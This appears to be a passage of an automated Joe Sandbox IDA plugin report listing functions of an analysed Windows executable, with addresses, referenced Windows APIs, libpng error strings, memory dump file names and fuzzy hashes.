Instruction Fuzzy Hash: 59F117316083554FCB24DE28D6A02AFBBD1ABDB301F58466FDC8587303E6A99C4DC796

Function 00448412 Relevance: 5.2, Strings: 4, Instructions: 245COMMON

Download Yara Rule

Strings

palette color-map: too few entries, xrefs: 00448490
bad background index (internal error), xrefs: 0044873F
color map overflow (BAD internal error), xrefs: 00448699
bad data option (internal error), xrefs: 00448648

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID:
String ID: bad background index (internal error)$bad data option (internal error)$color map overflow (BAD internal error)$palette color-map: too few entries
API String ID: 0-3263629853
Opcode ID: 8b037c25e9fceb087c67309f35f633e113f008a4edd0f4e9a1c44bda95e4bfe1
Instruction ID: f9c8a3f62554615e5535fceb524e67222205a7b2e92763d6f29409f3ea23661a
Opcode Fuzzy Hash: 8b037c25e9fceb087c67309f35f633e113f008a4edd0f4e9a1c44bda95e4bfe1
Instruction Fuzzy Hash: 9F81F2B1608241AFE318CF18C890A6FF7E5EFC8344F64492EF58A87351DA79EC41875A

Function 00445910 Relevance: 5.2, Strings: 4, Instructions: 200COMMON

Download Yara Rule

Strings

copyright violation: edited ICC profile ignored, xrefs: 00445AA7
8|J, xrefs: 0044592A
out-of-date sRGB profile with no signature, xrefs: 00445B06
known incorrect sRGB profile, xrefs: 00445AEE

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID:
String ID: 8|J$copyright violation: edited ICC profile ignored$known incorrect sRGB profile$out-of-date sRGB profile with no signature
API String ID: 0-4008423361
Opcode ID: c93a5d6ccb334b91f39f52cadfa5565f9c91eb0a87fff771d12fce213be507dd
Instruction ID: 047545e5019778031909f02efc2f1c978650f1963b45dcfcab789a410878135a
Opcode Fuzzy Hash: c93a5d6ccb334b91f39f52cadfa5565f9c91eb0a87fff771d12fce213be507dd
Instruction Fuzzy Hash: 795138B2708B910BEF28CE394C9176BBBE25FC9304F19896DE4D6D7302E564E905C768

Function 00436180 Relevance: 4.8, APIs: 3, Instructions: 308keyboardCOMMON

Download Yara Rule

APIs

GetKeyState.USER32(00000010), ref: 004361A0
GetKeyState.USER32(00000011), ref: 004361B0
CopyRect.USER32(00000000,00000000), ref: 00436285

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: State$CopyRect
String ID:
API String ID: 4142901696-0
Opcode ID: b6d1d531afe3cf63d9a3aa1f50209dfb8ed5cb122f5b458093000f4b81cfc360
Instruction ID: 3ce2e3088655763e4b882eb0331409f153ce5a6e53fa32b0a78c1330976b7dbc
Opcode Fuzzy Hash: b6d1d531afe3cf63d9a3aa1f50209dfb8ed5cb122f5b458093000f4b81cfc360
Instruction Fuzzy Hash: 9FA1C270B04302ABD628DA14C881F3FB3E5EBDCB04F11991EFA4697381D669EC458B5E

Function 00483200 Relevance: 4.6, APIs: 3, Instructions: 75timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?), ref: 0048320D
GetSystemTime.KERNEL32(?), ref: 00483217
GetTimeZoneInformation.KERNEL32(?), ref: 0048326C

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: Time$InformationLocalSystemZone
String ID:
API String ID: 2475273158-0
Opcode ID: dab875cad7f8133a66ea87a243d8efd78591138e71f71907113074c79ffeccd8
Instruction ID: cebb48cf446434bea421bed44ed1b1dfe6d72faada2c6a9dfee0ae64e40a3364
Opcode Fuzzy Hash: dab875cad7f8133a66ea87a243d8efd78591138e71f71907113074c79ffeccd8
Instruction Fuzzy Hash: 13213E29900119A9CB21BFD9D904AFF77B9BF09F15F500996FE11A6190E33C8E82D72D

Function 004237C0 Relevance: 4.5, APIs: 3, Instructions: 49keyboardCOMMON

Download Yara Rule

APIs

GetKeyState.USER32(00000011), ref: 004237F1
GetKeyState.USER32(00000010), ref: 00423806
GetKeyState.USER32(00000012), ref: 0042381B

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: State
String ID:
API String ID: 1649606143-0
Opcode ID: 1a451c326ee5d84bc8e3d1a3721b949fdafea7ce9235b493ab5fd2b573aae491
Instruction ID: 9b2dcd1cfe49bc0b50252efe1c800879cbe9904b33a43c2534c2eec3cf03906c
Opcode Fuzzy Hash: 1a451c326ee5d84bc8e3d1a3721b949fdafea7ce9235b493ab5fd2b573aae491
Instruction Fuzzy Hash: C201269FF002B515EF243E65B4087F188B14780F52FD68033E94D3BB80898D0E86639E

Function 0047FE9F Relevance: 4.5, APIs: 3, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 40c2afe9417562218d434588c04a126dabf1af4ba36b7fed099dc74d35f404b8
Instruction ID: e4a7b32f565a1039c231c7872eff5a85230c46aaa576ee912d7b63fd23dbbb3e
Opcode Fuzzy Hash: 40c2afe9417562218d434588c04a126dabf1af4ba36b7fed099dc74d35f404b8
Instruction Fuzzy Hash: 93F01931604109AADF11AF61DC489EE7FA9AB01344F04C437FD1AD4172DB38CA59EB59

Function 00496E82 Relevance: 4.5, APIs: 3, Instructions: 29keyboardCOMMON

Download Yara Rule

APIs

GetKeyState.USER32(00000010), ref: 00496EA9
GetKeyState.USER32(00000011), ref: 00496EB2
GetKeyState.USER32(00000012), ref: 00496EBB

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: State
String ID:
API String ID: 1649606143-0
Opcode ID: 9b81b1969780ee4f4bc7e2b0c0eface51a3f736500476eb10d9478a4c719f8a6
Instruction ID: 5361e8a8f1bab81886c9e1d59206a372c01bef47e7bec41962c9c8f327ced25d
Opcode Fuzzy Hash: 9b81b1969780ee4f4bc7e2b0c0eface51a3f736500476eb10d9478a4c719f8a6
Instruction Fuzzy Hash: A7E0927D5002999DEE009E50D900FE66E905B00796F038877EA84AB0A5C7AC9886977D

Function 004945FF Relevance: 3.4, APIs: 2, Instructions: 422COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00494604
GetVersion.KERNEL32(00000007,?,?,00000000,00000000,?,0000C000,00000000,00000000,00000007), ref: 004947B7

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: H_prologVersion
String ID:
API String ID: 1836448879-0
Opcode ID: f0331edfb4fe1476e85e0dd64f5c7f3b88f0d3fe3f4859f70e4fa3584583d438
Instruction ID: dff53601c04ad3193504ed476c5fd9b6cf5edbb897e7d694c8a9eb08368cbe6c
Opcode Fuzzy Hash: f0331edfb4fe1476e85e0dd64f5c7f3b88f0d3fe3f4859f70e4fa3584583d438
Instruction Fuzzy Hash: C6E16FB0600219BBDF14DF95CC80EBE7FA9AF85315F10856AF8159A241D73CDE02DB69

Function 00453BC0 Relevance: 3.3, Strings: 2, Instructions: 788COMMON

Download Yara Rule

Strings

invalid background gamma type, xrefs: 004543CC
libpng does not support gamma+background+rgb_to_gray, xrefs: 0045404C

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID:
String ID: invalid background gamma type$libpng does not support gamma+background+rgb_to_gray
API String ID: 0-3995106164
Opcode ID: b22c654a129c6f2286e734f242ad38ed870b3de52a57bf4c86e18317d2aa1542
Instruction ID: a0895b796697f0fbb17eb9b6c5947e924eb62711e15e030238b0514bd6fb8386
Opcode Fuzzy Hash: b22c654a129c6f2286e734f242ad38ed870b3de52a57bf4c86e18317d2aa1542
Instruction Fuzzy Hash: 60624C35108B814AD321DF34C8017F7FBE1AF9A309F08496EDDEA8B353E629A549C759

Function 0041EF70 Relevance: 3.2, APIs: 2, Instructions: 209windowCOMMON

Download Yara Rule

APIs

IsIconic.USER32(?), ref: 0041F0A0

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: Iconic
String ID:
API String ID: 110040809-0
Opcode ID: 22891eafd99b3e221d77d1eae2b48689d0660eee984604b32d53509bc215007e
Instruction ID: ec132662b655bcf7bbc797172c448e9f4bc8c5709f8bc5f02d6b0594cb5ef19c
Opcode Fuzzy Hash: 22891eafd99b3e221d77d1eae2b48689d0660eee984604b32d53509bc215007e
Instruction Fuzzy Hash: 0E819C7A214701CFD354CF28D480B8AB7E5FB99310F10886EE59ACB750D376E896CBA5

Function 00468FE0 Relevance: 3.1, APIs: 2, Instructions: 58comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(004AB368,00000000,00000001,004AB378,00000000), ref: 00468FF9

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: CreateInstance
String ID:
API String ID: 542301482-0
Opcode ID: 3ba6fa0a7078ede37a4f8dda32be2173e59b89e81173f26c1c1497cdecc36e0d
Instruction ID: 8c678c71ada5246b50d69f5ca054a3d7037aa580393a29a4bda398fd0647088d
Opcode Fuzzy Hash: 3ba6fa0a7078ede37a4f8dda32be2173e59b89e81173f26c1c1497cdecc36e0d
Instruction Fuzzy Hash: 92113D74244305AFE754DB54CC89F6BB7E8FBA9704F10891CB549CB2A0E6B4DC85CB62

Function 00448970 Relevance: 2.9, Strings: 2, Instructions: 445COMMON

Download Yara Rule

Strings

bad encoding (internal error), xrefs: 00448B1D
color-map index out of range, xrefs: 004489BF

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID:
String ID: bad encoding (internal error)$color-map index out of range
API String ID: 0-7351992
Opcode ID: 9ad9472cb351171c0c782ba230d35da239ac5704e41df1d23c4a46e85be58983
Instruction ID: eb11eb9248af6001f7f7a8758132cf5d5c2e6fa7376d8d516fbf3bc4d283b90b
Opcode Fuzzy Hash: 9ad9472cb351171c0c782ba230d35da239ac5704e41df1d23c4a46e85be58983
Instruction Fuzzy Hash: 68F1E272B083028FD718DF28C88126EB7D1EBD9304F05467EE999D7741EA39E906CB95

Function 004533D0 Relevance: 2.8, Strings: 2, Instructions: 266COMMON

Download Yara Rule

Strings

VUUU, xrefs: 004534E8
Row has too many bytes to allocate in memory, xrefs: 0045369C

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID:
String ID: Row has too many bytes to allocate in memory$VUUU
API String ID: 0-4092465491
Opcode ID: 1cf0bb7bf928a420ab1b5c0b17735ba0e9fbc339d5b927ee04173e7d43a75707
Instruction ID: 1f2caa736200a9ea75715e98c5bd35e2cb06fa9611cf56d610db5e39413a939c
Opcode Fuzzy Hash: 1cf0bb7bf928a420ab1b5c0b17735ba0e9fbc339d5b927ee04173e7d43a75707
Instruction Fuzzy Hash: 3E914E71604E445BE72A8E38CC563F777D1AB85347F18452ED9A7C7383E63CAA488748

Function 0042CB10 Relevance: 2.8, Strings: 2, Instructions: 257COMMON

Download Yara Rule

Strings

MTrk, xrefs: 0042CC8C
d, xrefs: 0042CD54

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
